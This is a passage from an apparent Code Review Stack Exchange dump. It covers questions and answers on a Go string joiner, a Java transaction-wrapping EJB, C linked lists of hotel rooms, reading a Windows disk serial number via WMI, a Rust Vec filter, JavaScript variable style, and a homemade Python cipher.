result := JoinStringsIntoArray(", ", " and ", words...)
if expectedResult != result {
t.Errorf("Strings joiner is broken, it should be '%v', we got '%v'", expectedResult, result)
}
}
</code></pre>
<p>What do you think about this, can this solution be improved? The function works fine but I'm not so sure it's written well.</p>
|
[] |
[
{
"body": "<p>The Go standard library <code>strings</code> package has a <code>Join</code> function:</p>\n<pre><code>func Join(elems []string, sep string) string\n</code></pre>\n<p>Your function is a simple extension of <code>strings.Join</code>:</p>\n<pre><code>func JoinLast(elems []string, sep, lastSep string) string\n</code></pre>\n<p>However, for no obvious reason, you chose a different function parameter signature:</p>\n<pre><code>func JoinLast(sep string, lastSep string, words ...string) string\n</code></pre>\n<p>We need a comment to explain why this isn't an arbitrary or idiosyncratic decision.</p>\n<hr />\n<p>Your testing is inadequate. Check boundary conditions. Your function fails on an empty <code>words</code> list.</p>\n<pre><code>words = []string{}\n</code></pre>\n<hr />\n<p>You have not provided any <code>testing</code> benchmarks. For example,</p>\n<pre><code>BenchmarkJoin-4 5534918 207.9 ns/op 104 B/op 5 allocs/op\n</code></pre>\n<pre><code>func JoinStringsIntoArray(sep string, lastSep string, words ...string) string {\n lastElementIndex := len(words) - 1\n var joinedString string\n\n for index, word := range words[0:lastElementIndex] {\n if index == lastElementIndex-1 {\n sep = lastSep\n }\n joinedString += word + sep\n }\n\n joinedString += words[lastElementIndex]\n\n return joinedString\n}\n\nfunc BenchmarkJoin(b *testing.B) {\n words := []string{"one", "two", "three", "four", "five"}\n b.ReportAllocs()\n b.ResetTimer()\n for N := 0; N < b.N; N++ {\n JoinStringsIntoArray(", ", " and ", words...)\n }\n}\n</code></pre>\n<hr />\n<p>You can do better. For example, minimize allocation,</p>\n<pre><code>BenchmarkJoin-4 16612879 70.95 ns/op 32 B/op 1 allocs/op\n</code></pre>\n<pre><code>func JoinLast(elems []string, sep, lastSep string) string {\n var join strings.Builder\n joinCap := 0\n for i := 0; i < len(elems); i++ {\n joinCap += len(elems[i])\n }\n if len(elems) > 1 {\n joinCap += len(lastSep)\n if len(elems) > 2 {\n joinCap += (len(elems) - 2) * len(sep)\n }\n }\n join.Grow(joinCap)\n\n last := len(elems) - 1 - 1\n for i, elem := range elems {\n if i >= last {\n if i == last {\n sep = lastSep\n } else {\n sep = ""\n }\n }\n join.WriteString(elem)\n join.WriteString(sep)\n }\n\n return join.String()\n}\n\nfunc BenchmarkJoin(b *testing.B) {\n words := []string{"one", "two", "three", "four", "five"}\n b.ReportAllocs()\n b.ResetTimer()\n for N := 0; N < b.N; N++ {\n JoinLast(words, ", ", " and ")\n }\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T02:55:12.327",
"Id": "260179",
"ParentId": "260160",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T16:30:29.550",
"Id": "260160",
"Score": "1",
"Tags": [
"strings",
"array",
"go"
],
"Title": "Go Lang custom convert array into string with two separators"
}
|
260160
|
<p>I've coded this <code>@Stateless</code> session bean:</p>
<pre><code>package br.eti.rslemos;
import java.util.function.Supplier;
import javax.ejb.Stateless;
import javax.ejb.TransactionAttribute;
import javax.ejb.TransactionAttributeType;
@Stateless
public class FunctionalEJB {
@TransactionAttribute(TransactionAttributeType.REQUIRED)
public <R> R executeInTransaction(Supplier<R> supplier) {
return supplier.get();
}
@TransactionAttribute(TransactionAttributeType.REQUIRED)
public void executeInTransaction(Runnable runnable) {
runnable.run();
}
@TransactionAttribute(TransactionAttributeType.REQUIRES_NEW)
public <R> R executeInNewTransaction(Supplier<R> supplier) {
return supplier.get();
}
@TransactionAttribute(TransactionAttributeType.REQUIRES_NEW)
public void executeInNewTransaction(Runnable runnable) {
runnable.run();
}
@TransactionAttribute(TransactionAttributeType.NOT_SUPPORTED)
public <R> R executeOutsideTransaction(Supplier<R> supplier) {
return supplier.get();
}
@TransactionAttribute(TransactionAttributeType.NOT_SUPPORTED)
public void executeOutsideTransaction(Runnable runnable) {
runnable.run();
}
}
</code></pre>
<p>All their methods do the same thing: they delegate their job to their argument.</p>
<p>They are the ultimate - perhaps just too literal - implementation of Floyd Marinescu "EJB Command" Design Pattern (in MARINESCU, Floyd, EJB™ Design Patterns: Advanced Patterns, Processes, and Idioms, 2002).</p>
<p>The six methods are nothing more than 2 x 3:</p>
<ul>
<li>2 argument types: <code>Supplier</code> or <code>Runnable</code>, for void;</li>
<li>3 transaction attributes (that make sense here): <code>REQUIRED</code>, <code>REQUIRES_NEW</code> and <code>NOT_SUPPORTED</code>.</li>
</ul>
<p>You may use the functional EJB from another session bean (or any other class, collocated with the functional EJB):</p>
<pre><code>package br.eti.rslemos.client;
import javax.ejb.Stateless;
import br.eti.rslemos.FunctionalEJB;
@Stateless
public class ClientEJB {
@Inject
private FunctionalEJB ejb;
public ClientResponse service (ClientRequest request) {
String someString = "Hello, world!";
return ejb.executeInNewTransaction(() -> {
// and here goes code that can take/use anything available at this
// anonymous method's closures, for example:
// - the argument (request)
// - any effectively final variable defined before invocation (someString)
// - any field or method of ClientEJB
return new ClientResponse(....);
});
}
}
</code></pre>
<p>This implementation departs a bit of what Marinescu had in mind. Back then (2002), EJB had only remote interfaces, and his idea was to save on network traffic.</p>
<p>My functional EJB clearly only works for local or no interface EJB (because the anonymous classes created by the arrow operator are not serializable), and that means collocation, and that means zero network traffic to save.</p>
<p>On the other hand the obvious advantage of such functional EJB is that I don't have to resort to <code>UserTransaction</code> to gain fine-grained access to transactions (well, perhaps only in more intricate cases).</p>
<p>I think this arrangement is better than fiddling with <code>UserTransaction</code>, in that the language forces you to either commit or rollback a transaction (or suspend and then get back, in case of <code>executeOutsideTransaction</code>).</p>
<p>Now comes the question: does this functional EJB breaks the spec?</p>
<p>The only way I can think this somehow wreaks havoc with the specs lay within the state carried through anonymous class' closure.</p>
<p>There is one special case that I think may cause errors (or may invoke unspecified behavior): entities obtained in the outside transaction carried along the closure and being used on the inside transaction.</p>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T18:42:53.043",
"Id": "260163",
"Score": "0",
"Tags": [
"java"
],
"Title": "The Functional Enterprise Java Bean 3"
}
|
260163
|
<p>I am new in C and I have to do a project which reads data from a <strong>.txt</strong> file and created <em>linked list of structures</em> to different operation on that structures (CRUD). The file contains data of rooms in a hotel and its guests with below pattern:</p>
<pre><code>---
203
1
103.52
#
Michal Novak
Malinova 97, Bratislava
20210114
20210119
---
105
2
323
#
Tomas Kovac
Jahodova 3, Bratislava
20210204
20210302
#
Lucia Kovacova
Jahodova 3, Bratislava
20210204
20210302
</code></pre>
<p>In the file each room record starts with <code>---</code> and each guest record starts with <code>#</code>. Each line of file has data of one property (different datatypes) of room or guest. I wrote below code:</p>
<pre><code>#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <errno.h>
#define FILE_NAME "hotel.txt"
#define MAXC 1024 /* if you need a constant, #define one (or more) */
typedef struct Guest {
char* name;
char* address;
int beginningOfReservation;
int endOfreservation;
struct Guest *next;
} Guest;
typedef struct Room {
int roomNo;
int numberOfBeds;
double price;
struct Guest *guests;
struct Room *next;
} Room;
Room *head = NULL;
Room *current = NULL;
Guest *gstHead = NULL;
Guest *gstCurrent = NULL;
int get_file_line_count() {
FILE *myFile;
char line[100];
int fileLineNumber = 0;
myFile = fopen(FILE_NAME, "r");
if(!myFile) {
printf("file not opened corectly!\n");
exit(0);
}
while(feof(myFile) == 0) {
fgets(line, 99, myFile);
fileLineNumber++;
}
fclose(myFile);
return fileLineNumber;
}
void insertRoom(int roomNo, int noOfBed, double price, Guest *geusts){
Room *hotelRoom = (Room*) malloc(sizeof(Room));
hotelRoom->roomNo = roomNo;
hotelRoom->numberOfBeds = noOfBed;
hotelRoom->price = price;
hotelRoom->guests = geusts;
hotelRoom->next = head;
head = hotelRoom;
}
void insertGeust(char* name, char* address, int startDate, int endDate){
Guest *gst = (Guest*) malloc(sizeof(Guest));
gst->name = name;
gst->address = address;
gst->beginningOfReservation = startDate;
gst->endOfreservation = endDate;
gst->next = gstHead;
gstHead = gst;
}
void n() {
int counter = 0;
int firstCounter = 0;
int secondCounter = 0;
int hashCounter = 0;
int lineCounter = 0;
char line[MAXC];
FILE *fp = fopen(FILE_NAME, "r");
if (!fp) {
perror ("file open failed");
}
int roomNo;
int noOfBed;
double price;
char name[100];
char address[100];
int startDate;
int endDate;
while(feof(fp) == 0) {
fgets(line, 99, fp);
switch (firstCounter)
{
case 1:
roomNo = atoi(line);
break;
case 2:
noOfBed = atoi(line);
break;
case 3:
sscanf(line, "%lf", &price);
break;
default:
break;
}
switch (secondCounter)
{
case 1:
sscanf(line, "%[^\n]s", name);
break;
case 2:
sscanf(line, "%[^\n]s", address);
break;
case 3:
startDate = atoi(line);
break;
case 4:
endDate = atoi(line);
break;
default:
break;
}
if (strcmp("---\n", line) == 0) {
hashCounter = 0;
firstCounter = 0;
secondCounter = 0;
lineCounter++;
gstHead = NULL;
gstCurrent = NULL;
if(lineCounter > 1){
insertGeust(name, address, startDate, endDate);
insertRoom(roomNo, noOfBed, price, gstHead);
}
}
if (strcmp("#\n", line) == 0) {
hashCounter++;
if(hashCounter > 1){
insertGeust(name, address, startDate, endDate);
}
secondCounter = 0;
}
if (feof(fp) != 0){
firstCounter = 0;
hashCounter = 0;
lineCounter++;
if(lineCounter > 1){
insertGeust(name, address, startDate, endDate);
insertRoom(roomNo, noOfBed, price, gstHead);
}
}
firstCounter++;
secondCounter++;
counter++;
}
if (fp != stdin){
fclose (fp);
}
}
void printRoom(){
struct Room *ptr = head;
while(ptr !=NULL){
printf("\n%d", ptr->roomNo);
printf("\n%d", ptr->numberOfBeds);
printf("\n%lf", ptr->price);
printGuest();
ptr = ptr->next;
}
}
void printGuest(){
struct Guest *ptrr = gstHead;
while (ptrr != NULL)
{
printf("\n%s", ptrr->name);
printf("\n%s", ptrr->address);
printf("\n%d", ptrr->beginningOfReservation);
printf("\n%d", ptrr->endOfreservation);
ptrr = ptrr->next;
}
}
int length() {
int length = 0;
struct Guest *curr;
for(curr = gstHead; curr != NULL; curr = curr->next){
length++;
}
return length;
}
int main(int argc, char **argv) {
char operation;
int fileLineNumber;
do {
printf("\n\nSelect the operation you want to do from the following list: \n\n");
printf("For Summary Type s\n");
scanf(" %c", &operation);
fileLineNumber = get_file_line_count();
n();
printRoom();
// printGuest();
// free(hotelRoom);
} while (operation != 'x' || operation != 'X');
return 0;
}
</code></pre>
<p>Although I searched a lot, but I have two problems which could not handle them: 1. The two attributes (properties) of Guest struct (which are string) after inserting to the linked list, on printing are always the last one in the file. I tried a lot to figure it out why this is printing the last record in file while they are the proper ones on printing the names on <code>insertGuest()</code> function but on printing them from <code>printGuest()</code> function they're always the last ones.
2. How can I have dynamic number of Guests for each Room. I mean there are cases where one room has more than one guests, how should I create separate linked list of struct of <code>Guest</code> for every Room struct depending on the number of guests in the <code>.txt</code> file. Although I figured out how should I read data from file but could not handle Guest struct insertion and linking it with each Room.The expect result is as below after printing the linked list of Room struct from <code>printRoom()</code> function:</p>
<pre><code> Room number: 105
Number of beds: 2
Price: 323
Guests:
Name: Tomas Kovac
Address: Jahodova 3, Bratislava
Reservation start: 20210204
Reservation end: 20210302
###########################
Name: Lucia Kovacova
Address: Jahodova 3, Bratislava
Beginning of reservation: 20210204
End of reservation: 20210302
----------------------------
----------------------------
Room number: 203
Number of beds: 1
Price: 103.52
Guests:
Name: Michal Novak
Address: Malinova 97, Bratislava
Beginning of reservation: 20210114
End of reservation: 20210119
</code></pre>
|
[] |
[
{
"body": "<p>Because you're updating <code>head</code> and <code>gstHead</code> every time you insert Room and Guest, you always get <code>head</code> and <code>gstHead</code> as the last element you've inserted.</p>\n<p>Update <code>head</code> and <code>gstHead</code> only once so that they point head of the linked list. To do so, do the following:</p>\n<pre><code>if (head == NULL) {\n head = hotelRoom;\n}\n// ...\nif (gstHead == NULL) {\n gstHead = gst;\n}\n</code></pre>\n<p>Also this logic is wrong:</p>\n<pre><code>hotelRoom->next = head;\ngst->next = gstHead;\n</code></pre>\n<p>which should be changed to</p>\n<pre><code>tail->next = hotelRoom;\ngstTail->next = gst;\n</code></pre>\n<p>with separate <code>tail</code> and <code>gstTail</code> pointers (which should be updated as <code>hotelRoom</code> and <code>gst</code> as well)</p>\n<p>Also, to print all guests in the room, just make your <code>printGuest()</code> function take a parameter as the head of Guest linked list and traverse it. Don't use global variables.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T03:37:35.043",
"Id": "260180",
"ParentId": "260164",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T19:38:07.840",
"Id": "260164",
"Score": "0",
"Tags": [
"c",
"linked-list"
],
"Title": "How to have a nested struct as linked list in C?"
}
|
260164
|
<p>The point is to get the serial number of one of the hard drives on Windows. My code is based on <a href="https://docs.microsoft.com/en-us/windows/win32/wmisdk/example--getting-wmi-data-from-the-local-computer" rel="nofollow noreferrer">an example from MSDN</a>. I tried to make it an exception-safe, self-contained function. It works, to the best of my knowledge. All comments are welcome, especially about correctness, exception safety and performance issues.</p>
<pre><code>#define _WIN32_DCOM
#include <Wbemidl.h>
#include <comdef.h>
#include <memory>
#include <optional>
#include <string_view>
#pragma comment(lib, "wbemuuid.lib")
namespace ComWrappers {
struct ComDeleter final {
template <class T>
auto operator()(T* const p) const noexcept -> void {
if (p) p->Release();
}
};
template <class T>
using ComPtr = ::std::unique_ptr<T, ComDeleter>;
struct ComInit final {
private:
bool _succeeded;
public:
ComInit() noexcept
: _succeeded{ SUCCEEDED(::CoInitializeEx(nullptr, COINIT_MULTITHREADED)) }
{}
[[nodiscard]] operator bool() const noexcept { return _succeeded; }
~ComInit() noexcept {
if (_succeeded) ::CoUninitialize();
}
};
} // namespace ComWrappers
[[nodiscard]] auto GetHardDriveSerialNumber() noexcept -> ::std::optional<::std::wstring> {
using namespace ::ComWrappers;
// Initialize COM
ComInit comOwner;
if (!comOwner) return ::std::nullopt;
// locator to WMI
ComPtr<::IWbemLocator> loc = nullptr;
{
::IWbemLocator* pLoc = nullptr;
auto const hres =
::CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER,
IID_IWbemLocator, reinterpret_cast<LPVOID*>(&pLoc));
if (FAILED(hres)) return ::std::nullopt;
loc.reset(pLoc);
}
ComPtr<::IWbemServices> svc = nullptr;
{ // Connect to WMI
::IWbemServices* pSvc = nullptr;
auto const hres = loc->ConnectServer(
_bstr_t(L"ROOT\\CIMV2"),
nullptr, nullptr, 0, 0, 0, 0,
&pSvc
);
if (FAILED(hres)) return ::std::nullopt;
svc.reset(pSvc);
}
{ // Set security levels
auto const hres = ::CoSetProxyBlanket(
svc.get(),
RPC_C_AUTHN_WINNT,
RPC_C_AUTHZ_NONE,
nullptr,
RPC_C_AUTHN_LEVEL_CALL,
RPC_C_IMP_LEVEL_IMPERSONATE,
nullptr,
EOAC_NONE
);
if (FAILED(hres)) return ::std::nullopt;
}
ComPtr<::IEnumWbemClassObject> enumerator = nullptr;
{ // Make requests of WMI
::IEnumWbemClassObject* pEnumerator = nullptr;
auto const hres = svc->ExecQuery(
bstr_t("WQL"), bstr_t("SELECT SerialNumber FROM Win32_PhysicalMedia"),
WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, nullptr,
&pEnumerator);
if (FAILED(hres)) return ::std::nullopt;
enumerator.reset(pEnumerator);
}
::std::optional<::std::wstring> result = ::std::nullopt;
// Get the data
while (true) {
ComPtr<::IWbemClassObject> clsObj = nullptr;
{
::IWbemClassObject* pclsObj = nullptr;
ULONG uReturn = 0;
auto const hres = enumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);
if (FAILED(hres) || uReturn == 0) break;
clsObj.reset(pclsObj);
}
VARIANT vtProp{};
// Get serial number
auto const hres = clsObj->Get(L"SerialNumber", 0, &vtProp, 0, 0);
if (FAILED(hres)) continue;
// RAII for variant class
struct VariantOwner {
VARIANT* v;
~VariantOwner() noexcept {
::VariantClear(v);
}
} variantOwner{ &vtProp };
// can't allow empty strings
if (*vtProp.bstrVal == '\0') continue;
try {
result = vtProp.bstrVal;
}
catch (...) {
// no need to do anything as
// a failure would return the default 'nullopt'
}
break;
}
return result;
}
// Example test driver
#include <iostream>
auto main() -> int {
auto const hid = GetHardDriveSerialNumber();
if (hid) ::std::wcout << *hid << '\n';
else ::std::wcout << "Failed to get serial number\n";
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T22:23:18.680",
"Id": "513533",
"Score": "0",
"body": "good show using `std::unique_ptr` for COM. I've found that most people have not stumbled onto that trick. Good adding RAII to COM VARIENT, but shouldn't that be part of the `COM_wrappers` namespace and library?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T22:40:14.617",
"Id": "513537",
"Score": "0",
"body": "What if the thread you call this on is already activated into some kind of COM apartment that's not necessarily a Multithreaded apartment?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T05:57:38.320",
"Id": "513558",
"Score": "0",
"body": "@JDługosz The `VariantOwner` class should only call `VariantClear` if `clsObj->Get` succeeds. For that reason, it's a bit too specialized and I didn't want to put to the general namespace."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T05:59:53.453",
"Id": "513559",
"Score": "0",
"body": "@JDługosz I am not sure about your second comment. Do you recommend I check for `RPC_E_CHANGED_MODE`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T15:34:56.100",
"Id": "513614",
"Score": "0",
"body": "What I've done is create my own thread that wasn't used already by the caller. I don't recall a CHANGED_MODE ... just an error if it was already set up, and maybe a count if it's called more than once in a compatible way?"
}
] |
[
{
"body": "<pre><code>if (FAILED(hres)) return ::std::nullopt;\nsvc.reset(pSvc);\n</code></pre>\n<p>It bothers me that this is repeated, and more generally, you need boilerplate to <em>use</em> one of the COM Wrappers. Ideally, <code>&svc</code> would return the thing that the COM calls actually wanted. Since you are not making a special COM wrapper but relying on <code>unique_ptr</code> you can instead make a non-member function that's <em>not</em> called <code>operator&</code>. So:</p>\n<pre><code>loc->ConnectServer(\n _bstr_t(L"ROOT\\\\CIMV2"), \n nullptr, nullptr, 0, 0, 0, 0, \n COM(svc) // no separate "plain" variable\n );\n</code></pre>\n<p>You would not need a separate plain pointer that needs to be <code>reset</code> into the variable you really wanted. You could rely on this still being <code>nullptr</code> on failure, without having to check the <code>HRESULT</code>, in cases where you were not diagnosing the issue.</p>\n<p>Generally, though, turn the <code>HRESULT</code> into an <code>error_code</code>, with a common function. I have some memory that, in the past anyway, MSVC++ did not have a fully fleshed out <code>error_category</code> for Windows errors, but Boost did. I don't know if that's still the case, but I want to point out that this is available, complete with the error text look up.</p>\n<p>You could have the helper I called <code>COM</code> here simply return the address of the underying pointer directly, or it could return a proxy that has both an <code>operator T**</code> <em>and</em> an <code>operator void**</code> so you don't need the cast in the <code>CoCreateInstance</code> call.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T06:05:09.680",
"Id": "513560",
"Score": "0",
"body": "I don't think your `COM` function would work since we don't have a reference (or pointer) to the internal pointer of `unique_ptr`. Could you give a simple implementation of what you have in mind?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T06:35:06.763",
"Id": "513562",
"Score": "1",
"body": "I think [I got it](https://gcc.godbolt.org/z/Yezar14PM). It's a good idea."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T15:18:50.153",
"Id": "513611",
"Score": "0",
"body": "_directly_ we know that the only instance data in the `unique_ptr` is the underlying pointer, so just `reinterpret_cast`. Include some `static_assert` to verify that assumption in case you use some special debug version.\n_proxy_ you got it."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T22:39:08.460",
"Id": "260170",
"ParentId": "260165",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "260170",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T20:49:42.103",
"Id": "260165",
"Score": "2",
"Tags": [
"c++",
"c++17",
"windows",
"winapi",
"com"
],
"Title": "Getting hard-drive serial number on Windows"
}
|
260165
|
<p>I frequently need to find then remove something from some <code>Vec<></code> type struct field. Does the following represent an idiomatic approach to doing this?</p>
<pre class="lang-rust prettyprint-override"><code>struct Roster{
names: Vec<String>
//..
}
impl Roster{
pub fn remove_name(&mut self, name: &str){
//are both of these lines necessary or could they be reduced to a single linge?
let to_keep = self.current.names.clone().into_iter().filter(|n|*n != name).collect();
self.current.names = keep
}
}
fn main(){
let mut r = Roster{
vec!["P1".to_string(), "P2".to_string()],
}
r.remove_name("P1")
}
<span class="math-container">```</span>
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T10:44:34.073",
"Id": "513576",
"Score": "2",
"body": "The question is now answered and thus there's little point in closing it, but your question is skirting the rules a bit. Please take a look at the [help/on-topic] and note we don't do well with hypothetical and stub code."
}
] |
[
{
"body": "<p>There is a method that directly does what you want: <a href=\"https://doc.rust-lang.org/std/vec/struct.Vec.html#method.retain\" rel=\"nofollow noreferrer\"><code>Vec::retain</code></a>.</p>\n<pre class=\"lang-rust prettyprint-override\"><code> pub fn remove_name(&mut self, name: &str){\n self.current.names.retain(|n| n != name);\n }\n</code></pre>\n<p>If <code>retain</code> didn't exist, it would also be possible to write what you're currently doing without <code>clone</code>ing the entire vector, using either <code>std::mem::take</code> or <code>Vec::drain</code> to remove the data from <code>self</code> temporary so that you can <code>.into_iter()</code> it.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T23:14:22.643",
"Id": "260172",
"ParentId": "260168",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "260172",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T21:18:34.603",
"Id": "260168",
"Score": "-2",
"Tags": [
"rust"
],
"Title": "Idiomatic Approach to Filter Struct Field - Rust"
}
|
260168
|
<p>Where I have, let us say an object, that I will only use once, what is considered general best practice in terms of declaring it as var vs. simply putting the object directly into the method it will be used in? I'm thinking this is going to come down to "which do you think is more readable", but given my lack of experience thought I'd see if there was a consensus.</p>
<p>This came about when looking at the following code:</p>
<pre class="lang-javascript prettyprint-override"><code> var aiPersonalities = model.aiPersonalities();
var newPersonalities = {
qCasual: {
ai_path: "/pa/q_casual",
display_name: "!LOC:Q-Casual",
metal_drain_check: 0.64,
energy_drain_check: 0.77,
metal_demand_check: 0.95,
energy_demand_check: 0.92,
micro_type: 0,
go_for_the_kill: false,
priority_scout_metal_spots: true,
enable_commander_danger_responses: false,
neural_data_mod: 2,
adv_eco_mod: 0.5,
adv_eco_mod_alone: 0,
factory_build_delay_min: 0,
factory_build_delay_max: 12,
per_expansion_delay: 60,
personality_tags: ["queller"],
min_basic_fabbers: 10,
min_advanced_fabbers: 3,
},
// imagine another 11 objects of the same size here
};
var baseline = aiPersonalities.Absurd;
newPersonalities = _.mapValues(
newPersonalities,
function (personality, name) {
var result = _.assign(_.clone(baseline), personality);
result.name = name;
return result;
}
);
_.assign(aiPersonalities, newPersonalities);
model.aiPersonalities.valueHasMutated();
</code></pre>
<p>This could be written in a way which removes <code>aiPersonalities</code>, <code>baseline</code>, and avoids <code>newPersonalities</code> referencing itself:</p>
<pre class="lang-javascript prettyprint-override"><code> var newPersonalities = _.mapValues(
{
qCasual: {
ai_path: "/pa/q_casual",
display_name: "!LOC:Q-Casual",
metal_drain_check: 0.64,
energy_drain_check: 0.77,
metal_demand_check: 0.95,
energy_demand_check: 0.92,
micro_type: 0,
go_for_the_kill: false,
priority_scout_metal_spots: true,
enable_commander_danger_responses: false,
neural_data_mod: 2,
adv_eco_mod: 0.5,
adv_eco_mod_alone: 0,
factory_build_delay_min: 0,
factory_build_delay_max: 12,
per_expansion_delay: 60,
personality_tags: ["queller"],
min_basic_fabbers: 10,
min_advanced_fabbers: 3,
},
// imagine another 11 objects of the same size here
},
function (personality, name) {
var result = _.assign(
_.clone(model.aiPersonalities().Absurd),
personality
);
result.name = name;
return result;
}
);
_.assign(model.aiPersonalities(), newPersonalities);
model.aiPersonalities.valueHasMutated();
</code></pre>
<p>I'm just interested in how people would approach this. My instinct is that <code>aiPersonalities</code> and <code>baseline</code> could be ditched, per approach 2, but that keeping the initial declaration of the <code>newPersonalities</code> object may make it easier to see what the <code>_.mapValues</code> bit is doing.</p>
<p>There aren't any style guidelines or anything, this is a purely me project.</p>
|
[] |
[
{
"body": "<p>In this specific scenario, I would definitely go with your first approach. Putting a large amount of data right in the middle of your logic makes it extremely difficult to follow the logic.</p>\n<p>To answer the general question of "should data associated with a specific function go inside its body or outside?" - there's never one right answer. I like to think of it as though there are various pressures going on. If your function is pretty cluttered but your module is pretty empty, then moving some stuff out of the function and into the module helps improve the readability of that function without sacrificing much. On the other hand, if there's already a whole lot of stuff in that module, and the function is really simple to follow then it might be worth it to move stuff into the function (or split the module up into multiple modules, if the containing folder isn't too cluttered). One important task of a programmer is to know when and how to shuffle clutter around to prevent any one spot from feeling too overwhelming.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-22T08:52:43.523",
"Id": "515151",
"Score": "0",
"body": "Thanks, I appreciate you taking the time to leave your thoughts. I always overthink these elements due to my lack of experience, so it's hard to draw on good judgement."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-21T22:36:34.027",
"Id": "261048",
"ParentId": "260169",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "261048",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T22:27:29.563",
"Id": "260169",
"Score": "0",
"Tags": [
"javascript"
],
"Title": "Mapping values. Should a single use variable be declared as a variable at all?"
}
|
260169
|
<p>This is a follow up question to <a href="https://codereview.stackexchange.com/questions/260077/encryption-decryption-algorithm-2">Encryption/Decryption algorithm #2</a> and <a href="https://codereview.stackexchange.com/questions/259814/encryption-decryption-algorithm">Encryption/Decryption algorithm</a>.</p>
<p>In my last question, in @Reinderien's answer, he added this line <code>from typing import List</code>, and stuff like this <code>m: List[List[int]]</code>. Is that just for type hints?</p>
<p>Would it be faster to use <code>numpy</code> arrays instead of python lists of lists?</p>
<p>Aside from those follow up questions, if you see anything needing to be changed, let me now.</p>
<pre><code>import base64
import numpy as np
from randomgen import ChaCha
from getpass import getpass
from typing import List
def add_padding(plain_text: str, block_size: int = 128) -> str:
plain_text = plain_text.encode()
padding = -(len(plain_text) + 1) % block_size # Amount of padding needed to fill block
padded_text = plain_text + b'=' * padding + bytes([padding + 1])
return padded_text
def xor_string(key: bytes, secret: bytes) -> bytes:
xored_secret = b''
for i in range(len(secret) // len(key)):
if i > 0:
key = get_round_key(key)
some_decimals = secret[i * len(key):len(key) + (i * len(key))]
xored_secret = xored_secret + b''.join(bytes([key[i] ^ some_decimals[i]]) for i in range(len(key)))
return xored_secret
def get_round_key(key: bytes) -> bytes:
last_col = key[15::16]
# interweave
last_col = b''.join(x for i in range(len(last_col) // 2) for x in (bytes([last_col[-i - 1]]), bytes([last_col[i]])))
new_key = b''
for current_col in [key[i::16] for i in range(16)]:
current_col = xor_string(last_col, current_col)
new_key = new_key + current_col[len(current_col) // 2:] + current_col[:len(current_col) // 2]
return new_key
def generate_key(key: str) -> bytes:
if len(key) >= 128:
key = key.encode()
return key[:128]
elif len(key) < 128:
key = key.encode()
for i in range(128 - len(key)):
key = key + bytes([(sum(key) // len(key)) ^ sum(1 << (8 - 1 - j) for j in range(8) if key[i] >> j & 1)])
decimal = ''.join(str(i) for i in key)
binary = f'{bin(int(decimal[len(decimal) // 2:] + decimal[:len(decimal) // 2]))[2:]:<01024s}'
key = bin_to_bytes(binary[:1024])
half1 = key[:len(key) // 2]
half2 = key[len(key) // 2:]
key = half2 + half1
return key[:128]
def bytes_to_base64(binary: bytes) -> str:
# ints = [int(binary[i * 8:8 + i * 8], 2) for i in range(len(binary) // 8)]
return base64.b64encode(binary).decode()
def bin_to_decimal(binary: str, length: int = 8) -> List[int]:
b = [
binary[i * length:length + (i * length)]
for i in range(len(binary) // length)
]
decimal = [int(i, 2) for i in b]
return decimal
def decimal_to_binary(decimal: List[int], length: int = 8) -> str:
return ''.join(str(bin(num)[2:].zfill(length)) for num in decimal)
def base64_to_bytes(base: str) -> bytes:
return base64.b64decode(base)
def matrix_to_bytes(m: List[List[int]]) -> bytes:
return b''.join(bytes([m[i][j]]) for i in range(16) for j in range(8))
def obfuscate(secret: bytes, key: bytes, encrypting: bool, loops: int) -> bytes:
shuffled_data = b''
round_key = key
for i in range(len(secret) // 128):
if i > 0:
round_key = get_round_key(round_key)
if encrypting:
m = [
list(secret[j * 8 + i * 128:j * 8 + i * 128 + 8])
for j in range(16)
]
m = shuffle(m, round_key, loops)
m = matrix_to_bytes(m)
m = shift_bits(round_key, m)
shuffled_data += xor_string(round_key, m)
else:
xor = xor_string(round_key, secret[i * 128:i * 128 + 128])
xor = unshift_bits(round_key, xor)
